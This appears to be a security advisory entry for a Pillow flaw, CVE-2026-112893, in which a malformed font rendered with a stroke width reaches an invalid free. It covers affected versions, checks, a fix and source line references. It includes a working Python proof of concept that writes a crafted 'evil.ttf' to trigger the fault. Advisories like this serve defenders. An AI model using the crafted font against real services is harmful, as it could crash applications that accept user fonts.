---
id: "CVE-2026-112893"
kind: "vulnerability"
aliases: ["CVE-2026-112893", "GHSA-j4m9-6w36-pw47"]
title: "Pillow: Invalid free in FreeType glyph rendering when a stroker is active"
severity: "high"
cvss: 8.2
epss: 0.0029100000392645597
exploited: false
status: "open"
category: "package"
products: [{"name": "pillow", "fixed": ["13.0.0"], "affected": ">= 10.0.0, < 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-457", "cwe-763", "package", "pillow", "python", "self-hosted"]
not_affected_if: ["fixed-version", "no-untrusted-fonts", "stroke-width-zero"]
published_at: "2026-10-19T22:17:09+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:19+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j4m9-6w36-pw47", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112893", "first_seen_at": "2026-10-23T21:57:19+00:00"}]
---

# Pillow: Invalid free in FreeType glyph rendering when a stroker is active

Pillow's text rendering with a non-zero stroke width can free an uninitialized or stale FreeType glyph pointer when a malformed font fails to load a glyph. An attacker who supplies a crafted TrueType font to an application that renders it with stroke_width set can trigger an invalid free, which is a memory-safety defect that may crash the process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pillow affected >= 10.0.0, < 13.0.0 fixed 13.0.0

## How to check

pip show pillow (version >= 10.0.0 and < 13.0.0 is affected)
Check whether code calls ImageFont.truetype on user-supplied font bytes or files and draws text with stroke_width != 0

## Fix

Upgrade pillow to 13.0.0 or later.
Until then, do not load untrusted font files or bytes with ImageFont.truetype when stroke_width is used.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-j4m9-6w36-pw47
- 2026-10-23T21:57:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112893

## From the sources

### Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

### Details
`glyph` is declared without a NULL initializer:

- `src/_imagingft.c:848`

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:

- `src/_imagingft.c:1010-1013`

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- `src/_imagingft.c:1242`

The cleanup frees it whenever a stroker exists:

- `src/_imagingft.c:1253-1256`

`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.

### PoC
This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.

```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer
```

Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).

### Impact
Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
